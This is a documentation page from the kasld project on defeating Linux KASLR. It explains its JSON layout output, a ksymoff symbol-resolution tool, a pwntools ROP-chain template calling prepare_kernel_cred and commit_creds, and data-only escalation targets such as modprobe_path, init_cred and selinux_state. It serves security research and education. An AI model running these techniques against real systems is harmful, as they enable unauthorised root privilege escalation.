Skip to content

Latest commit

 

History

History
310 lines (255 loc) · 16.1 KB

File metadata and controls

310 lines (255 loc) · 16.1 KB

Defeating KASLR in a kernel exploit

A kernel exploit runs against a randomized kernel. KASLR places the kernel image — and, on some architectures, the direct map — at a boot-chosen offset, so every kernel address the exploit needs (a function to call, a global to overwrite, a ROP gadget) sits at an unknown runtime location. Defeating KASLR is the step that recovers that offset: it turns an address from an unrandomized source (System.map, a debug vmlinux, a /proc/kallsyms snapshot) into the one the running kernel actually uses.

kasld performs that step from an unprivileged local process — the attacker identity it models. It recovers the kernel image base and KASLR slide, and, where they are randomized independently, the direct-map base. It is a derandomization tool, not the exploit itself: it supplies the layout an exploit re-bases against, not the memory-corruption primitive that does the writing, and not the addresses of per-task heap objects. This document covers where that step fits in an exploit and how kasld's output feeds the two dominant strategies — control-flow reuse and data-only.

Table of Contents

Where it fits in the chain

The recovered base makes every image address usable; from there the exploit re-bases the addresses it needs and drives them with its own primitive:

Exploitation pipeline: kasld leaks the kernel image base and slide; the base plus the slide plus an unrandomized symbol source (vmlinux, System.map, or a kallsyms snapshot) resolves any symbol's runtime address (or, inversely, derives the base from one known symbol address); the exploit then drives those addresses via control-flow reuse (ROP) or a data-only write

kasld runs on the target host: it derandomizes the running kernel, so the vmlinux / System.map used to resolve symbols must be for that exact build. The template below assumes the exploit already has code execution on the target and a corruption primitive; kasld fills in where the kernel is.

The layout kasld reports

--json (-j) emits the stable machine-readable surface (text and verbose modes are human-only):

Field Type Meaning
kaslr.virtual.image_base hex string Recovered kernel image base (_text) — the best concrete answer, which may rest on a sub-floor signal
kaslr.virtual.speculative bool, present only when true The base above is the likely value, not a proven one: the guaranteed window is still a range. Check this before acting on the base
kaslr.inferred object (range_min/range_max/slots/entropy_bits) The guaranteed window — resolved at the sound floor, and proven to contain the true base
kaslr.virtual.slide_bytes integer KASLR slide (runtime − default)
kaslr.memory_kaslr.virt_page_offset_base object (min/max/slots/entropy_bits) Direct-map base (page_offset_base) window — translates physical↔virtual; randomized independently of text on x86_64 / arm64 / riscv64 / s390
kaslr.memory_kaslr.virt_vmalloc_base object (min/max/slots/entropy_bits) vmalloc-region base — modules, BPF JIT, kernel stacks
kaslr.memory_kaslr.virt_vmemmap_base object (min/max/slots/entropy_bits) vmemmap base (struct page array) — maps a physical page to its struct page (page-table attacks)
kaslr.disabled bool True when KASLR is opted out (nokaslr / CONFIG_RANDOMIZE_BASE=n / hibernation) or unsupported by the arch. Not set if the boot stub attempted KASLR but failed to apply a random offset — the kernel is then relocated to a firmware-determined position (see KASLR runtime states)
arch string Canonical arch name (x86_64, aarch64, …)

kasld emits layout — these bases and the slide — not resolved symbol addresses: it is build-agnostic and never sources a vmlinux / System.map or trusts a version string. Turning the slide into a specific symbol's runtime address is ksymoff's job (below), against a caller-supplied symbol source.

From a base to runtime addresses

The whole kernel image relocates by a single slide, so one leaked kernel pointer fixes every address in it: add the slide to any symbol from an unrandomized source to get its runtime address. This holds for functions and global data alike.text, .data, and .bss all move together — which is what lets both strategies below work from the same recovered base. Offsets to useful symbols can be pre-computed on another machine running the same kernel build (trivial for public distro kernels).

pwntools applies the slide with ELF.address = image_base (see the control-flow template). Without pwntools, the bundled extra/ksymoff resolves symbols against a System.map, a /proc/kallsyms snapshot, or a debug vmlinux (symbols via nm / readelf; a stripped distro vmlinux has no symbol table). The default base is taken from _text in the symbol source. It has three modes:

Forward — base → symbols

Given a runtime text base (from a KASLD run) and a symbol source, print runtime addresses for one or more symbols, or for every symbol in the source when no symbols are listed.

# Explicit base + System.map
./extra/ksymoff -b 0xffffffff82200000 -s System.map commit_creds
ffffffff82276cb0 T commit_creds

# Multiple symbols at once
./extra/ksymoff -b 0xffffffff82200000 -s vmlinux \
  commit_creds prepare_kernel_cred init_cred

# Pipe directly from KASLD --oneline (reads the `text=` field).
# --oneline carries no speculative marker, so read `entropy=` alongside it:
# entropy=0bits means one surviving candidate, i.e. the base is proven.
./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map commit_creds

# Dump every symbol with the slide applied
./extra/ksymoff -b 0xffffffff82200000 -s System.map | head

Inverse — known symbol → base

Given any one known runtime symbol address (e.g. via a UAF read, infoleak, or side channel that returned a recognizable pointer), derive the runtime text base. Useful when the leak points at a specific symbol rather than at _text itself.

# Derive the runtime text base from a single known address
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map
0xffffffff82200000

# Combine with positional symbols: one leak yields many
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s vmlinux \
  prepare_kernel_cred init_cred modprobe_path

--slide — just the offset

Print the signed slide instead of resolved addresses. Combines with either mode.

./extra/ksymoff -b 0xffffffff82200000 -s System.map --slide
+0x1200000

./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map --slide
+0x1200000

Run ./extra/ksymoff --help for the full reference. Beyond symbols, ksymoff also translates physical↔virtual through the direct map (--phys2virt / --virt2phys / --phys2page), which data-only pivots use.

FG-KASLR (function-granular KASLR) reorders functions independently and breaks the single-slide assumption — see docs/kaslr.md §FG-KASLR.

With runtime addresses in hand, an exploit uses them one of two ways.

Control-flow reuse

The classic chain hijacks control flow to call kernel functions — e.g. prepare_kernel_cred(0) then commit_creds() to give the current task full privileges — with a ROP/JOP payload driven by a corruption primitive (a stack overflow, a corrupted function pointer, …):

#!/usr/bin/env python3
import json, subprocess, sys
from pwn import *

# Leak kernel base with KASLD
result = subprocess.run(
  [
    "./build/x86_64-linux-gnu/kasld",
    "--json",
    "--fast",
    "--quiet"
  ],
  capture_output=True,
  text=True
)
data = json.loads(result.stdout)
context.arch = {"x86_64": "amd64"}.get(data["arch"], data["arch"])
kaslr = data["kaslr"].get("virtual")
if not kaslr:
    log.failure("kasld did not find the kernel text base")
    sys.exit(1)
image_base = int(kaslr["image_base"], 16)
slide     = int(kaslr["slide_bytes"])

# The headline base is the best concrete answer, which may rest on a sub-floor
# signal. kasld says which: "speculative" is set whenever the *guaranteed*
# window is still a range, and kaslr.inferred carries that sound window. Warn
# rather than abort -- against a known target a deterministic likely result is
# in practice certain -- but a wrong base is a ring-0 jump, so say so.
if kaslr.get("speculative"):
    proven = data["kaslr"].get("inferred", {})
    log.warning(
        "base is SPECULATIVE (guaranteed window %s-%s, %s bits, %s slots); "
        "a wrong base panics the target"
        % (proven.get("range_min"), proven.get("range_max"),
           proven.get("entropy_bits"), proven.get("slots")))
else:
    log.success("base is proven (guaranteed window pinned)")

log.success(f"kernel text base: {hex(image_base)}  (slide +{hex(slide)})")

# Resolve runtime addresses via vmlinux symbol table
vmlinux = ELF("vmlinux", checksec=False)
vmlinux.address = image_base
commit_creds        = vmlinux.symbols["commit_creds"]
prepare_kernel_cred = vmlinux.symbols["prepare_kernel_cred"]
log.info(f"commit_creds:        {hex(commit_creds)}")
log.info(f"prepare_kernel_cred: {hex(prepare_kernel_cred)}")

# Build ROP chain
rop = ROP(vmlinux)
rop.call(prepare_kernel_cred, [0])
# move rax -> rdi here with a target-specific gadget
# rop.raw(rop.find_gadget(["mov rdi, rax", "ret"]).address)
rop.call(commit_creds)
payload = flat(rop.chain())

This needs the text base to locate functions and gadgets. The chain is built from kernel gadgets rather than a jump to attacker-mapped code because SMEP — PTE_PXN on arm64 — faults when the kernel executes a userspace page, which is what makes the recovered base necessary in the first place. On kernels hardened with forward-edge Control-Flow Integrity (kCFI, or FineIBT on x86) and shadow stacks (arm64 Shadow Call Stack, x86 CET), a corrupted return address or indirect-call target is validated and rejected, so ROP/JOP is often infeasible — which is why data-only attacks have become the common path.

Data-only

Data-only attacks corrupt kernel data without diverting control flow, so CFI and shadow stacks do not apply — the reason they have become the common path (the foundational result is that non-control-data attacks are Turing-complete, Data-Oriented Programming). What they need from KASLR-defeat splits by which part of the layout carries the target.

Global targets — kasld resolves them directly. Writable kernel globals live in the image, so they re-base by the slide exactly like a function, and one kasld run plus ksymoff yields their runtime address:

  • Usermode-helper stringsmodprobe_path, core_pattern, poweroff_cmd. Overwrite the string to point at an attacker-controlled script and trigger the helper (for modprobe_path, execute a file with unknown magic); it runs as root:

    ./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map modprobe_path

    All three go through call_usermodehelper_setup(), so one build option neutralises the whole bullet: under CONFIG_STATIC_USERMODEHELPER the kernel substitutes a compile-time path and ignores the caller's, and with that path set empty every helper becomes a successful no-op. It is uncommon — no mainline, Alpine, Debian or Ubuntu config in this project's corpus enables it — but it is cheap to rule out before spending a write on a dead target.

  • init_cred — a struct cred with full capabilities. Pointing a task's cred / real_cred at it is instant root with no cred crafting, and kasld gives its runtime address from the slide like any symbol.

  • init_nsproxy, init_user_ns, init_fs — the container-escape equivalents of init_cred, and the same one-pointer write: aiming a task's nsproxy at init_nsproxy puts it back in the initial namespace set. Each is an image global, so the recovered base resolves it.

  • Policy globals — LSM enforcement flags, sysctl tables, and similar switches. selinux_state is the usual one: clearing its enforcing field drops SELinux to permissive. That field is only consulted under CONFIG_SECURITY_SELINUX_DEVELOP — without it enforcing_enabled() is a constant true and the write is inert — but that option is set on nearly every SELinux kernel in this project's corpus.

These are all data symbols, which matters when picking a symbol source: System.map and a debug vmlinux always carry them, but /proc/kallsyms lists data symbols only under CONFIG_KALLSYMS_ALL (otherwise it holds functions alone), and that option is set on rather more than half the kernels here. A kallsyms snapshot is therefore not interchangeable with the other two for these particular targets.

Heap and physical targets — kasld's non-text bases are the enabler. These sit in the heap or in physical memory, not the image, so the slide does not locate them; the direct-map and vmemmap bases kasld also recovers are what make a leaked pointer usable:

  • Credential overwrite — zero the uid / gid / caps of the current task's struct cred. Needs the heap address of current->cred (from a leak); the direct-map base turns a leaked physical or direct-map pointer into a writable virtual address.

  • Object swapDirtyCred reclaims a freed low-privileged cred / file as a privileged one, sidestepping the field overwrite entirely.

  • Page-table corruption — cross-cache / SLUBStick and Dirty Pagetable overwrite PTEs for arbitrary physical read/write. They translate physical↔virtual through the direct-map base and locate struct page through the vmemmap base — both kasld outputs (and on decoupled arches the direct map is randomized independently of text, so kasld resolves it separately). ksymoff performs those translations directly:

    kasld -1 2>/dev/null | ./extra/ksymoff --phys2virt 0x34600000   # phys -> direct-map virt
    ./extra/ksymoff --vmemmap <base> --phys2page 0x34600000         # phys -> struct page

    See also Side-channels (SLUBStick, cross-cache) and Exploit primitives.

kasld supplies layout: the slid image (any global symbol) plus the direct-map and vmemmap bases (physical↔virtual, struct page). It does not locate a specific per-task heap object such as a cred or task_struct — that still needs a leak, which the recovered bases then make usable.

References

Topic Reference
Non-control-data attacks (foundation) Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks (Hu, Shinde, Adrian, Chua, Saxena & Liang, IEEE S&P 2016)
Usermode-helper globals (modprobe_path, core_pattern) Like techniques: modprobe_path (sam4k)
Credential object swap (cred / file) DirtyCred: Escalating Privilege in Linux Kernel (Lin, Wu & Xing, ACM CCS 2022) — PoC
Page-table corruption → arbitrary physical R/W Dirty Pagetable (Nicolas Wu, 2023)
Forward-edge CFI (x86 hardware) FineIBT: Fine-grain Control-flow Enforcement with Indirect Branch Tracking (Gaidis, Moreira & Kemerlis, RAID 2023)
Kernel control-flow integrity (kCFI) Control Flow Integrity in the Linux kernel (Kees Cook, 2020)